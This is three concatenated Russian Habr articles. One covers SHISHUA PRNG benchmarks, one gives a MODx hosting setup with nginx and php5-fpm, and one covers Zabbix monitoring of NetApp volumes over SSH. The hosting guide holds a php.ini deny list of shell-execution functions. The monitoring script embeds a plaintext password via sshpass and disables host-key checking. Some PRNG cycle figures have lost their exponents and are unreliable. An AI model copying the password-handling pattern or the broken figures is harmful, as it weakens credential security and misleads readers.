s.state[1] = _mm256_set_epi64x(phi[7], phi[6] ^ seed[3], phi[5], phi[4] ^ seed[2]);
```
Затем мы несколько раз повторяем (`ROUNDS`) такую последовательность:
1. Прогоняем этапы (`STEPS`) итераций SHISHUA.
2. Присваиваем одну часть состояния другому состоянию, а другую часть — выходному результату.
```
for (char i = 0; i < ROUNDS; i++) {
prng_gen(&s, buf, 4 * STEPS);
s.state[0] = s.state[1];
s.state[1] = s.output;
}
```
Присвоение выходному результату повышает рассеивание состояния. При инициализации не имеет значения дополнительная работа и корреляция состояний, потому что эта серия операций выполняется однократно. Нас интересует только рассеивание при инициализации.
Оценив влияние на корреляцию начальных значений, я выбрал для `STEPS` значение 2, а для `ROUNDS` — 10. Корреляцию я вычислил, подсчитав «необычные» и «подозрительные» аномалии, возникающие из-за инструментария проверки качества ГПСЧ в PractRand.
Производительность
------------------
Измерять скорость сложно по нескольким причинам:
* **Измерение по часам** может иметь недостаточную точность.
* В процессоре столько всего **распараллеливается**, что отслеживание начала и конца инструкций, во-первых не детерминировано, а во-вторых, сильно зависит от других событий в процессоре.
* Очевидно, что на процессорах разных производителей результаты будут разными. То же самое относится и к разным **сериям** процессоров одного производителя.
* Сегодня процессоры имеют [**переменную тактовую частоту**](https://www.intel.com/content/www/us/en/architecture-and-technology/turbo-boost/turbo-boost-technology.html): работают быстрее или медленнее в зависимости от нагрузки, чтобы снизить потребление энергии или риск перегрева.
Я использую процессорную инструкцию RDTSC, которая вычисляет количество циклов.
Чтобы любой желающий мог воспроизвести мои результаты, я использую облачную виртуальную машину. Это не меняет уровень результатов бенчмарка по сравнению с локальным тестированием. Кроме того, вам не придётся покупать такой же компьютер, как у меня. И наконец, есть много ситуаций, когда ГПСЧ запускают в облаках.
Я выбрал Google Cloud Platform N2 (процессор Intel) и N2D (процессор AMD). Достоинство GCP в том, что они предлагают серверы с процессорами обоих производителей. В статье мы сосредоточимся на Intel, но для AMD результаты будут того же порядка.
Чтобы глубже погрузиться в тему, давайте сначала прогоним старый криптографический генератор RC4. Не имея возможности распараллелить работу, я получил **7,5 cpb** (циклов на сгенерированный байт).
Теперь прогоним очень популярный и быстрый MCG: [простейший ГПСЧ Lehmer128](https://lemire.me/blog/2019/03/19/the-fastest-conventional-random-number-generator-that-can-pass-big-crush/), который проходит тест BigCrush, показал **0,5 cpb**. Ого, отлично!
Затем прогоним свежую разработку, которая используется для быстрых хэш-таблиц — [wyrand](https://github.com/wangyi-fudan/wyhash/blob/master/wyhash_v6.h). **0,41 cpb**, чуть лучше!
Некоторые ГПСЧ не проходят 32-тебибайтный тест PractRand, но работают очень быстро. [Xoshiro256+](http://prng.di.unimi.it/xoshiro256plus.c) дотянул только до 512 мебибайтов, но продемонстрировал очень высокую скорость: **0,34 cpb**.
Ещё одна свежая разработка [RomuTrio](http://www.romu-random.org/). Она претендует на титул самого быстрого ГПСЧ в мире — **0,31 cpb**.
Ладно, этого хватит. Что показал полу-SHISHUA?
**0,14 cpb**. Вдвое быстрее RomuTrio.
Круто. Теперь протестируем криптографический генератор ChaCha8. Он достиг… **0,12 cpb**.
Ой.
SIMD — это настоящее волшебство!
Для криптографического сообщества [это не стало особым сюрпризом](https://twitter.com/hashbreaker/status/1023965175219728386). ChaCha8 необычайно легко распараллеливать. Это лишь хорошо хэшированный счётчик в рассеянном состоянии.
А ещё помните, как команда языка Julia пыталась объединить несколько экземпляров архитектуры Виньи, чтобы создать быстрый ГПСЧ на основе SIMD? Давайте посмотрим на их результат, воспользовавшись этой методикой ([8 штук Xoshiro256+](http://prng.di.unimi.it/#speed)). **0,09 cpb**!
Технически, мой ноутбук мог повлиять на результаты. Я не уверен, почему разработка команды Julia работает быстрее ChaCha8 в GCP, но медленнее при локальном тестировании. На моей машине полу-SHISHUA работает быстрее разработки команды Julia, но медленнее ChaCha8.
Нужно победить всех конкурентов.
Вероятно, вы уже спрашиваете, почему мы назвали предыдущую версию генератора полу-SHISHUA? Потому что оказалось легко повысить скорость вдвое, если запустить два экземпляра полу-SHISHUA.
Аналогично идее команды Julia, инициализируем отдельно два ГПСЧ (четыре блока 256-битного состояния), поочерёдно подавая на выход результаты их работы.
Но если сделать больше состояний, то мы можем выдавать ещё больше данных, попарно комбинируя четыре состояния:
```
o0 = _mm256_xor_si256(u0, t1);
o1 = _mm256_xor_si256(u2, t3);
o2 = _mm256_xor_si256(s0, s3);
o3 = _mm256_xor_si256(s2, s1);
```
Так мы получили SHISHUA, который показал скорость в **0,06 cpb**.
Это вдвое быстрее предыдущего самого быстрого конкурента в мире, который прошёл 32-тебибайтный тест PractRand. Результат на графике.
Полагаю, разработка получилась конкурентоспособной. На моём ноутбуке работает ещё быстрее — 0,03 cpb, но буду придерживаться своих принципов касательно бенчмарка.
Надеюсь, ещё несколько недель мой генератор продержится на пьедестале самого быстрого в мире (пожалуйста, сделайте так).
Качество
--------
Генератор честно проходит BigCrush и 32-тебибайтный тест PractRand. И всё благодаря четырём выходным потокам.
К недостаткам архитектуры можно отнести её **необратимость**. Это видно по уменьшению до 4-битного состояния с `s0 = [a, b]` и `s1 = [c, d]`. При сдвиге мы получаем `[0, a]` и`[0, d]`, а при перемешивании — `[b, c]` и `[d, a]`. Новый `s0` равен `[b, c] + [0, a] = [b⊕(a∧c), a⊕c]`, а `s1` равен `[d, a] + [0, c] = [d⊕(a∧c), a⊕c]`. Если `a = ¬c`, тогда `a⊕c = 1` и `a∧c = 0`, следовательно, `s0 = [b, 1]` и `s1 = [d, 1]`. То есть получаем две комбинации `a` and `c`, которые дают нам то же финальное состояние.
В нашем случае это не является проблемой, потому что 64-битный счётчик тоже является частью состояния. Получается минимальный цикл в 271 байта (по 128 байтов на переход между состояниями), который на скорости в 10 гибибайтов/сек. продлится семь тысяч лет. Это уравновешивает потерянные состояния.
Кроме того, даже несмотря на необратимость средний период перехода между состояниями равен 2^((256+1)÷2). Это даёт средний цикл в 2135 байтов (на скорости в 10 гибибайтов/сек. будет длиться более чем в триллион раз дольше, чем существует Вселенная). Хотя я считаю, что средние циклы переоценивают, потому что они ничего нам не говорят о качестве работы генератора.
Вот результаты бенчмарка:
| **Генератор** | **Производительность** | **Качество** | **Корреляция начальных чисел** |
| --- | --- | --- | --- |
| SHISHUA | 0,06 | >32 ТиБ | >256 ГиБ |
| xoshiro256+x8 | 0,09 | 1 КиБ | 0 КиБ |
| ChaCha8 | 0,12 | >32 ТиБ? | >32 ТиБ? |
| RomuTrio | 0,31 | >32 ТиБ | 1 КиБ |
| xoshiro256+ | 0,34 | 512 МиБ | 1 КиБ |
| wyrand | 0,41 | >32 ТиБ | 8 КиБ |
| Lehmer128 | 0,44 | >32 ТиБ | 1 КиБ |
| RC4 | 7,48 | 1 ТиБ | 1 КиБ |
1. **Производительность**: количество циклов процессора, потраченных на один сгенерированный байт. Получено на облачных машинах N2 GCP и N2D (AMD), порядок одинаковый.
2. **Качество**: уровень, на котором генератор заваливает прохождение теста PractRand. Если не заваливает, стоит знак >. Если результат не доказан, стоит вопросительный знак.
3. **Корреляция начальных чисел**: прохождение PractRand с чередованием байтов из восьми потоков с начальными числами 0, 1, 2, 4, 8, 16, 32, 64. Мы используем PractRand со свёрткой вдвое и расширенными тестами.
Далее
-----
Хотя в нашем случае нет никаких проблем с необратимостью, всё же мы можем улучшить SHISHUA.
В моём представлении идеальный ГПСЧ обладает такими свойствами:
1. **Переход между состояниями представляет собой циклическое преобразование**, что даёт цикл в 21024. Для его завершения со скоростью 10 гибибайт/сек. понадобится времени в 10282 раз больше, чем возраст Вселенной. Это не совсем «лучше» (невозможность есть невозможность). Но если мы можем уменьшить архитектуру до более мелкого состояния без влияния на рассеивание, то можем получить ещё более быстрый ГПСЧ. Как думаете, удастся ли уместить его в 128-битный регистр NEON в процессорах ARM? Кроме того, нам больше не нужен будет счётчик, что сэкономит две операции сложения.
2. **Выходная функция является доказанно необратимой**. Это нами уже достигнуто благодаря тому, как в SHISHUA применяется XOR к двум независимым числам. Но я ещё не доказал, что числа действительно не коррелируют.
3. **Инициализация состояния необратима,** когда у каждого состояния есть 2128 возможных начальных чисел (чтобы предотвратить возможность угадать начальное число). Способ присвоения состояния своему собственном результату в SHISHUA, скорее всего, обеспечивает необратимость. Кроме того, мы используем переход между состояниями (частично необратим) и выходную функцию (вероятно, необратима, см. пункт 2).
4. **У инициализации состояния идеальное рассеивание**: все биты начального числа влияют на все биты состояния с одинаковой вероятностью. Хочу это выяснить применительно к SHISHUA.
Одной из проблем, сдерживающих развитие ГПСЧ и криптографии в целом, является отсутствие более качественного инструментария общего назначения. Мне нужен инструмент, который может сразу выдать мне точный результат измерений, чтобы я мог на лету сравнивать разные архитектуры.
PractRand великолепен по сравнению с тем, что было до него, однако:
* Он не позволяет оценивать высококачественные генераторы, делая невозможным их сравнение друг с другом. Нам приходится говорить: «ну, после 32 тебибайтов у них нет никаких аномалий...»
* На его прогон уходят недели...
Надеюсь, скоро ситуация сильно улучшится. | https://habr.com/ru/post/498352/ | null | ru | null |
# Правильный хостинг для MODx своими руками
Топик рассказывает о настройке быстрого и недорогого хостинга для MODx Revolution. В принципе, вещи тут описаны общие, так что информация подойдет для **любой** CMS. Позже была смонтирована и [видеоверсия этой инструкции](http://habrahabr.ru/post/168933/).
На всякий случай, [приложу видео](http://www.youtube.com/watch?v=SMc2hSkJvA4), как должна работать админка MODx Revo.
Для быстрой и комфортной работы желательно:
* Быстрый браузер — Google Chrome. Админка Revo работает в нем молниеносно
* Хороший интернет-канал. Тут без вариантов, нужно всем и всегда.
* Качественный хостинг — про него и пишу.
**В конце поста есть ссылки на скрипты для автоматической установки MODx с созданием юзера, хоста nginx, процесса php5-fpm и базы дынных.**
Я работал с разными хостингами. Начинал на [Peterhost](http://peterhost.ru/), затем переехал на [Clodo](http://www.clodo.ru/), потом [Selectel](http://selectel.ru/) и параллельно [Scalaxy](https://www.scalaxy.ru/). Также немного поработал с [Hetzner](http://www.hetzner.de/en/).
Хорошие все, но по совокупности субъективных вещей мне больше нравится облако Selectel.
Получилось «многабуков», поэтому вот оглавление:
1. [Установка ОС и настройка ssh](#install)
2. [Установка сервисов](#services_install)
3. [Настройка окружения](#env_setup)
4. [Настройка сервисов](#services_setup)
5. [Заключение](#end)
### Установка ОС и настройка ssh
Регистрируемся на selectel.ru, заходим в панель, там «Облако» и создаем машину.
[](http://i1.imageban.ru/out/2012/03/22/2f5a8b117c4451947e5db423da35ac34.png)
Для установки я беру Ubuntu x32 (меньше кушает памяти, чем х64). Установка ОС идет минут 15, после нее в свойствах машины ищем «Пароль при установке». Это пароль root.
На сервер идем через Putty. В настройках Translation ставим UTF-8.
User: root
Password: из панели
Первым делом создаем нового юзера и добавляем его в группу sudo:
```
adduser user
adduser user sudo
```
Затем отрубаем вход на сервер под рутом.
```
nano /etc/ssh/sshd_config
```
Выставляем **PermitRootLogin no**, здесь же можно перевешать ssh на другой порт, но я этого не делаю.
Перезапускаем ssh:
```
service ssh restart
```
Теперь можно перелогиниться, как user и работать через **sudo**.
Первым делом
```
sudo apt-get install mc
```
, после установки
```
sudo mc
```
— этим вы будуте работать на сервере через **sudo** до выхода из **Midnight Commander**.
На этом месте большинству не-Linux юзеров изрядко похорошело при виде синих окошек, вместо черной консоли. А консоль по-прежнему можно быстро увидеть, нажав **Ctrl+O**.
С этого момента команды можно вводить и без **sudo** — вы уже работаете в нем из mc.
Немного настроим firewall.
Создаем файл iptables (**touch /root/iptables**), вносим в него такие строки:
```
iptables -A INPUT -p tcp -m state --state NEW --dport 22 -m recent --update --seconds 30 -j DROP
iptables -A INPUT -p tcp -m state --state NEW --dport 22 -m recent --set -j ACCEPT
```
Это защита 22го порта от переборщиков паролей. При каждой неудачной попытке повторно попробовать они смогут только через 30сек (можно увеличить) — на таких скоростях ничего не подобрать. К тому же, нужно угадать еще имя пользователя (root то мы отключили).
Делаем его исполняемым — **sudo chmod +x /root/iptables**
И вносим вызов этого файла в **/etc/rc.local** — и скрипт будет вызываться при запуске. Вообще, все что вы хотите запускать при старте — пишем сюда.
### Репозитории
Ставим **python-software-properties** для удобного добавления репозиториев
```
apt-get install python-software-properties
```
Дабавляем репоитории **Nginx** и **php5-fpm**:
```
add-apt-repository ppa:nginx/stable
add-apt-repository ppa:fabianarias/php5
apt-get update
apt-get install nginx php5-fpm mysql-server php5-mcrypt php5-mysql php5-curl php-db php5-gd unzip
```
При установке потребуется ввести административный пароль для **Mysql** — придумываем посложнее, запоминаем и вводим.
Можно еще установить **sendmail** для отправке почты с сайта, но Revo позволяет работать напрямую с **smtp** сервером для отправки почты — что я вам и советую настроить. Лучше сразу подключить почту для домена от [Яндекс](https://pdd.yandex.ru/) или [Google](https://www.google.com/a/cpanel/standard/new3?hl=ru).
Полдела сделано.
### Подготовка окружения
Как вы уже могли догадаться, наш сервер будет запускать php через **php5-fpm**, без участия **Apache2**.
Это дает нам 2 преимущества: меньшее потребление памяти и запуск разных сайтов от разных юзеров. То есть, при взломе одного сайта — остальные не пострадают.
FTP на сервер мы вообще не установили, потому что заливать файлы сайта мы будем через SFTP (используем WinCSP для этого), а редактировать через Notepad++ (там есть плагин для sftp).
Создаем группу sftp (addgroup sftp) и настраиваем для нее доступ через ssh.
Добавляем в конец /etc/ssh/sshd\_config
```
Subsystem sftp internal-sftp
Match Group sftp
ChrootDirectory %h
AllowTCPForwarding no
ForceCommand internal-sftp
```
И комментируем там же
```
#Subsystem sftp /usr/lib/openssh/sftp-server
```
Создаем новую директорию для будущего сайта (и директорию для временных файлов), создаем юзера для него, добавляем его в группу sftp и назначаем домашнюю директорию:
```
mkdir /var/www
mkdir /var/www/site1
mkdir /var/www/site1/www
mkdir /var/www/site1/tmp
adduser site1
adduser site1 sftp
usermod -d /var/www/site1 site1
```
Есть директория, есть пользователь, есть доступ для него через **sftp**.
### Настройка сервисов
Для настройки php нужно редактировать **/etc/php5/fpm/php.ini**.
```
post_max_size = 100M
upload_max_filesize = 100M
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,parse_ini_file,show_source
cgi.fix_pathinfo = 0
open_basedir = /var/www/
```
Основной конфигурационный файл **Nginx** (/etc/nginx/nginx.conf) приводим к такому виду (старый бэкапим):
```
user www-data;
worker_processes 8;
error_log /var/log/nginx/error.log;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
client_max_body_size 100m;
access_log /var/log/nginx/access.log;
sendfile on;
keepalive_timeout 65;
tcp_nodelay on;
gzip on;
gzip_min_length 1000;
gzip_proxied any;
gzip_types text/plain ext/html text/xml application/xml application/x-javascript text/javascript text/css text/json;
gzip_disable "msie6";
gzip_comp_level 8;
charset utf-8;
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
```
Рядом в **/etc/nginx/fastcgi\_params** комментим строку про https, а не то потом будет ругаться:
```
#fastcgi_param HTTPS $server_https;
```
**Nota Bene!** Создаем виртуальный хост.
Наш конфиг подгружает сайты из директории /etc/nginx/sites-enabled/, а рядом есть /etc/nginx/sites-available/ (там сейчас лежит ссылка на сайт **default** — прибейте ее).
В первой директории лежат симлинки активных сайтов на файлы конфигов из второй директории. Такой подход позволяет быстро включать\отключать виртуальные хосты без редактирования — а просто удалив\создав symlink.
Стандартный конфиг сайта /etc/nginx/sites-available/site1.conf
```
upstream backend-site1 {server unix:/var/run/php5-site1.sock;}
server {
listen 80;
server_name site1.domain.ru;
root /var/www/site1/www;
access_log /var/log/nginx/site1-access.log;
error_log /var/log/nginx/site1-error.log;
index index.php;
rewrite_log on;
location /core/ {
deny all;
}
location / {
try_files $uri $uri/ @rewrite;
}
location @rewrite {
rewrite ^/(.*)$ /index.php?q=$1;
}
location ~ \.php$ {
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_pass backend-site1;
}
location ~* ^.+\.(jpg|jpeg|gif|css|png|js|ico|bmp)$ {
access_log off;
expires 10d;
break;
}
location ~ /\.ht {
deny all;
}
}
```
Здесь сразу включены friendly urls, отдача статики и обработка php через php5-fpm, для которого объявляется backend (1 строка конфига).
Следующий сайт можно создать просто скопировав конфиг этого и поменяв site1 на site2.
После создания конфига не забываем создать символическую ссылку на конфиг:
```
ln -s /etc/nginx/sites-available/site1.conf /etc/nginx/sites-enabled/site1.conf
```
**Nota Bene!** Создаем процесс php5-fpm для сайта.
Основную конфигурацию **/etc/php5/fpm/main.conf** мы трогать не будем, просто удостоверимся, что внизу файла есть строчка
```
include=/etc/php5/fpm/pool.d/*.conf
```
Это подключает из директории конфигурации процессов php5-fpm. В конфигурации сайта мы уже указали, что **\*.php** он будет отдавать на обработку по адресу /var/run/php5-site1.sock, а теперь создаем конфиг **/etc/php5/fpm/pool.d/site1.conf**:
```
[site1]
listen = /var/run/php5-site1.sock
listen.mode = 0666
user = site1
group = site1
chdir = /var/www/site1
php_admin_value[upload_tmp_dir] = /var/www/site1/tmp
php_admin_value[soap.wsdl_cache_dir] = /var/www/site1/tmp
php_admin_value[date.timezone] = Europe/Moscow
# тут значения можно поменять, в зависимости от нагрузки на сайт
pm = dynamic
pm.max_children = 10
pm.start_servers = 2
pm.min_spare_servers = 2
pm.max_spare_servers = 4
```
Внимательно проверяем везде правильность путей и перезапускаем сервисы:
```
service nginx restart
service php5-fpm restart
```
### Заключение
Портянка текста получилась знатная, поэтому про установку сайта почитайте [вот здесь](http://habrahabr.ru/post/116614/), а я немного расскажу, что у нас вышло.
Мы настроили быстрый, недорогой сервер на облаке, с платой за потребление, который очень экономично кушает ресурсы. Для добавления сайтов нужно:
1. Создать директории и юзера сайта, юзера добавить в группу sftp.
2. Создать 2 конфига для Nginx и php5-fpm по образу предыдущих.
3. Установить сайт и назначить юзера хозяном файлов.
[](http://habrastorage.org/storage2/207/d6e/5bb/207d6e5bb9a85adf46d35d5443487e43.png)
У меня на таком сервере висит 7 небольших сайтов. Он потребляет 250-300mb ОЗУ (это настраивается в панели selectel) и стоит около 8-10 рублей в день. Когда я переживал [небольшой хабраэффект](http://habrastorage.org/storage2/46c/682/fe3/46c682fe36e42af6e7669fd7d2de5a4b.png) я платил всего 20 рублей в сутки.
Сайты изолированы друг от друга, каждый работает от своего юзера, с ограниченными правами. Этот же юзер ходит через sftp — нет проблемы с редактированием файлов залитых через ftp в админке.
Для упрощенного управления сайтами и их конфигами через веб-интерфейс отлично подходит [Ajenti](http://ajenti.org/). Ну и вообще, оно много чего умеет.
В общем, я попытался доступно написать, как можно за 300 рублей в месяц сделать себе хостинг для приятной работы с MODx Revolution.
Если что-то не так — поправьте меня в комментариях.
**P.S.** Скрипт для назначения прав для директорий\файлов. Рекомендую хранить в /var/www/site1/chmod
```
#!/bin/bash
user=site1
dir=/var/www/$user/www
chown -R $user:$user "$dir";
find "$dir" -type d -exec chmod 0755 '{}' \;
find "$dir" -type f -exec chmod 0644 '{}' \;
```
**P.P.S.**
В камментах опять начался ад. Люди в глаза не видевшие Revo рассказывают какая она тормозная.
Извините, но холивары достали и топик был жестоко заредактирован.
Цитаты из старой версии будут проскакивать в комментариях.
Я написал статью про настройку хостинга и мне совсем не хочется прятать ее в черновики из-за отдельных комментаторов, которые ни разу не работали с MODx, но авторитетно [судят по видео](http://habrahabr.ru/post/139461/#comment_4695274).
**Warning!**
В комментариях резвится матерый тролль [dmitriid](http://habrahabr.ru/users/dmitriid/), который с MODx никогда не работал. Очень прошу, не кормите его!
**Updated.** Переделал скрипты автоматической установки\удаления от [jkenters](https://gist.github.com/jkenters)
При использовании этих скриптов вам нужно только установить пакеты на сервер, настроить ssh, php и основной конфиг nginx по этой статье. Все остальное скрипт сделает автоматически.
[Видео работы скриптов](http://www.youtube.com/watch?v=Y7Z_Nn6mwns)
* [Install](https://gist.github.com/2179479) В начале нужно указать root пароль Mysql. При запуске спрашивает имя юзера, пароль и домен сайта. По окончании выводит пароли от Mysql и SFTP.
* [Update](https://gist.github.com/2179440) Также нужно указать Mysql пароль root. Спрашивает имя юзера сайта для обновления.
* [Remove](https://gist.github.com/2179492) Спрашивает имя юзера сайта. Удаляет **все** файлы и БД, а также самого юзера с сервера.
Для правильной установки MODx нужно указать date.timezone в /etc/php5/cli/php.ini
```
date.timezone = Europe/Moscow
``` | https://habr.com/ru/post/139461/ | null | ru | null |
# Мониторинг NetApp Volumes через SSH
Всем привет, меня зовут Игорь Сидоренко. Одной из основных сфер моей работы, а также моим хобби является мониторинг. Я расскажу о Zabbix и о том, как с его помощью замониторить необходимую нам информацию о томах NetApp, имея доступ только по SSH. Кому интересна тема мониторинга и Zabbix, прошу под кат.
Изначально мы мониторили тома, монтируя их к определенному серверу, на котором висел специальный шаблон, отлавливающий NFS-маунты на ноде и ставящий их на мониторинг, по аналогии с файловыми системами базового шаблона Linux. Маунт надо было прописать в fstab и примонтировать вручную — из-за этого многое терялось и забывалось.
Потом мне пришла в голову прекрасная идея: надо всё это автоматизировать. Было несколько вариантов:
* ~~Есть готовые шаблоны, работающие с SNMP, но доступов нет.~~
* ~~Получение списка томов и автоматический маунт на ноде: надо создавать папку, прописывать fstab, маунтить вот это всё, слишком много геморроя.~~
* ~~Есть же великолепный [API](https://library.netapp.com/ecmdocs/ECMLP2862544/html/index.html#/), но т.к мы арендуем только место, то в нашей версии ONTAP он урезан и не дает пользователю нужную информацию.~~
* Как-то использовать доступ по SSH для получения томов и постановки их на мониторинг.
Выбор пал на [SSH-агент](https://www.zabbix.com/documentation/current/ru/manual/config/items/itemtypes/ssh_checks).
Низкоуровневое обнаружение (LLD)
--------------------------------
Для начала нам необходимо создать [низкоуровневое обнаружение (LLD)](https://www.zabbix.com/documentation/current/ru/manual/discovery/low_level_discovery), это будут названия наших томов. Всё это необходимо для того, чтобы вытащить конкретную информацию по нужному нам тому. Сырые данные выглядят примерно так (на момент написания их 114):
```
set -unit B; volume show -state online
```
[](https://habrastorage.org/webt/ix/dy/wl/ixdywl9eqh1p1go_zxfrizaiclu.png)
Ну как же без костылей: напишем однострочный bash-скрипт, который будет выводить названия томов в формате JSON (поскольку это [внешняя проверка](https://www.zabbix.com/documentation/current/ru/manual/config/items/itemtypes/external), cкрипты лежат на Zabbix-сервере в директории `/usr/lib/zabbix/externalscripts`):
**netapp\_volume\_discovery.sh**
```
#!/usr/bin/bash
SVM_NAME=""
SVM_ADDRESS=""
USERNAME=""
PASSWORD=""
for i in $(sshpass -p $PASSWORD ssh -o StrictHostKeyChecking=no $USERNAME@$SVM_ADDRESS 'set -unit B; volume show -state online' | grep $SVM_NAME | awk {'print $2'}); do echo '{"volume_name":"'$i'"}'; done | jq -s '.
```
[](https://habrastorage.org/webt/la/om/tw/laomtwbd7ma5qeefwct0xctrt18.png)
Теперь необходимо создать [шаблон](https://www.zabbix.com/documentation/current/ru/manual/config/templates/template) и на основе полученных данных создавать элементы данных:
[](https://habrastorage.org/webt/zh/p9/7s/zhp97swbiyfegowlqgi_bqjbhd0.png)
[](https://habrastorage.org/webt/bg/hb/cc/bghbcc_4inq7nkizumuayyn6lew.png)
Элементы данных
---------------
Для автоматического создания элементов данных необходимо сделать [прототип элементов данных](https://www.zabbix.com/documentation/current/ru/manual/discovery/low_level_discovery#%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D1%82%D0%B8%D0%BF%D1%8B_%D1%8D%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82%D0%BE%D0%B2_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85):
[](https://habrastorage.org/webt/iu/b1/sx/iub1sx1ukviu_x6irsjljtcnrco.png)
Мы будем использовать мастер-элементы и несколько [зависимых](https://www.zabbix.com/documentation/current/ru/manual/config/items/itemtypes/dependent_items) от них элементов. Таким образом, для каждого тома создается один мастер-элемент, в котором выполняется набор команд по SSH:
```
set -unit B; df -i -volume {#VOLUME_NAME}; volume show-space {#VOLUME_NAME}; statistics volume show -volume {#VOLUME_NAME}
```
Получаем вот такую простыню:
**Get Volume: ackey\_media info**
```
Last login time: 9/15/2020 12:42:45
Filesystem iused ifree %iused Mounted on
/vol/ackey_media/ 96 311191 0% /ackey_media
Volume Name: ackey_media
Volume MSID: 2159592810
Volume DSID: 1317
Vserver UUID: 46a00e5d-c22d-11e8-b6ed-00a098d48e6d
Aggregate Name: NGHF_FAS2720_04
Aggregate UUID: 7ec21b4d-b4db-4f84-85e2-130750f9f8c3
Hostname: FAS2720_04
User Data: 20480B
User Data Percent: 0%
Deduplication: -
Deduplication Percent: -
Temporary Deduplication: -
Temporary Deduplication Percent: -
Filesystem Metadata: 1150976B
Filesystem Metadata Percent: 0%
SnapMirror Metadata: -
SnapMirror Metadata Percent: -
Tape Backup Metadata: -
Tape Backup Metadata Percent: -
Quota Metadata: -
Quota Metadata Percent: -
Inodes: 12288B
Inodes Percent: 0%
Inodes Upgrade: -
Inodes Upgrade Percent: -
Snapshot Reserve: -
Snapshot Reserve Percent: -
Snapshot Reserve Unusable: -
Snapshot Reserve Unusable Percent: -
Snapshot Spill: -
Snapshot Spill Percent: -
Performance Metadata: 28672B
Performance Metadata Percent: 0%
Total Used: 1212416B
Total Used Percent: 0%
Total Physical Used Size: 1212416B
Physical Used Percentage: 0%
Logical Used Size: 1212416B
Logical Used Percent: 0%
Logical Available: 10736205824B
DOMCLIC_SVM : 9/15/2020 12:42:51
*Total Read Write Other Read Write Latency
Volume Vserver Ops Ops Ops Ops (Bps) (Bps) (us)
----------- ----------- ------ ---- ----- ----- ----- ----- -------
ackey_media DOMCLIC_SVM 0 0 0 0 0 0 0
```
Из этой простыни необходимо отобрать нужные нам метрики.
Магия регулярных выражений
--------------------------
Изначально для [препроцессинга](https://www.zabbix.com/documentation/current/ru/manual/config/items/preprocessing) я хотел использовать JavaScript, но как-то не осилил, не зашло. Поэтому остановился на регулярках, да и использую их практически везде.
### Количество используемых инод
Отберем информацию только о инодах по каждому тому в два этапа:
[](https://habrastorage.org/webt/hf/op/yk/hfopykvfrw55mtf_mcqozzpxy8e.png)
[](https://habrastorage.org/webt/71/ws/01/71ws01ts-pq8mmf2mgx9zbqcvf0.png)
Сначала вся информация:
```
\/vol\/\w+\/.*
```
[](https://habrastorage.org/webt/zl/_t/6i/zl_t6igdhwyvjy09epdqnmjivlw.png)
[](https://habrastorage.org/webt/mg/vd/wc/mgvdwciiybzkewd-zpcud4carkm.png)
Потом конкретно по метрикам:
```
(\d+)\s+(\d+)\s+(\d+)
```
[](https://habrastorage.org/webt/n8/7v/bg/n87vbge4bnznjwj46mzdb4wgc_m.png)
[](https://habrastorage.org/webt/qw/wz/nl/qwwznlqxyxlmjawgyfnggr9ouly.png)
Вывод — шаблон форматирования вывода. `\N (где N=1..9)` — управляющая последовательность заменяется N-ной совпадающей группой. Управляющая последовательность `\0` заменяется совпадающим текстом:
* `\1 - Inode used on {#VOLUME_NAME}` — количество использованных инод;
* `\2 - Inode free on {#VOLUME_NAME}` — количество свободных инод;
* `\3 - Inode used percentage on {#VOLUME_NAME}` — использованные иноды в процентах;
* `Inode total on {#VOLUME_NAME}` — [вычислямый элемент](https://www.zabbix.com/documentation/current/ru/manual/config/items/itemtypes/calculated), количество доступных инод.
```
last(inode_free[{#VOLUME_NAME}])+last(inode_used[{#VOLUME_NAME}])
```
### Количество используемого места
Здесь всё проще, данные и регулярки в более приятном формате:
[](https://habrastorage.org/webt/2b/i3/od/2bi3od224fpmhvoa7t8qspmwuly.png)
[](https://habrastorage.org/webt/pp/p-/on/ppp-onzlnmqizlqa-ujfxrx_bwc.png)
Выдергиваем нужную нам метрику и берем только число:
```
(?<=Logical Available:\s)\d+
```
[](https://habrastorage.org/webt/5v/wb/gc/5vwbgcev65vdts6hdwpvbwl7zte.png)
[](https://habrastorage.org/webt/m4/iz/ld/m4izldetiyujxdszupcoo3-m-ag.png)
Собираемые метрики:
* `Logical available on {#VOLUME_NAME}` — количество доступного логического места;
* `Logical used percent on {#VOLUME_NAME}` — использованное логическое место в процентах;
* `Logical used size on {#VOLUME_NAME}` — количество использованного логического места;
* `Physical used percentage on {#VOLUME_NAME}` — использованное физическое место в процентах;
* `Total physical used size on {#VOLUME_NAME}` — количество использованного физического места;
* `Total used on {#VOLUME_NAME}` — всего использовано места;
* `Total used percent on {#VOLUME_NAME}` — всего использовано места в процентах;
* `Logical size on {#VOLUME_NAME}` — [вычисляемый элемент](https://www.zabbix.com/documentation/current/ru/manual/config/items/itemtypes/calculated), количество доступного логического места.
```
last(logical_available[{#VOLUME_NAME}])+last(total_used[{#VOLUME_NAME}])
```
### Производительность томов
Почитав документацию и потыкав разные команды, я выяснил, что мы можем получать метрики по производительности наших томов. За это отвечает маленький кусочек:
```
statistics volume show -volume {#VOLUME_NAME}
```
[](https://habrastorage.org/webt/8w/s-/ln/8ws-lnbbjptvjszsje6f7pas7ny.png)
[](https://habrastorage.org/webt/9t/ze/1e/9tze1ebsnfrdh11qescjmids3y8.png)
Из общей простыни первой регуляркой мы отбираем метрики по производительности:
```
.DOMCLIC_SVM.*
```
[](https://habrastorage.org/webt/q_/-w/b1/q_-wb1lgd0wc89pmqbuc0q85keq.png)
[](https://habrastorage.org/webt/fm/bs/or/fmbsorilhautq_v6w6o5j3k3imm.png)
Второй группируем числа:
```
(\d+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)
```
[](https://habrastorage.org/webt/g2/-a/hq/g2-ahq_egdn3twufqot-sunhw1u.png)
Где:
* `\1 - Total number of operations per second on {#VOLUME_NAME}` — общее количество операций в секунду;
* `\2 - Read operations per second on {#VOLUME_NAME}` — операций чтения в секунду;
* `\3 - Write operations per second on {#VOLUME_NAME}` — операций записи в секунду;
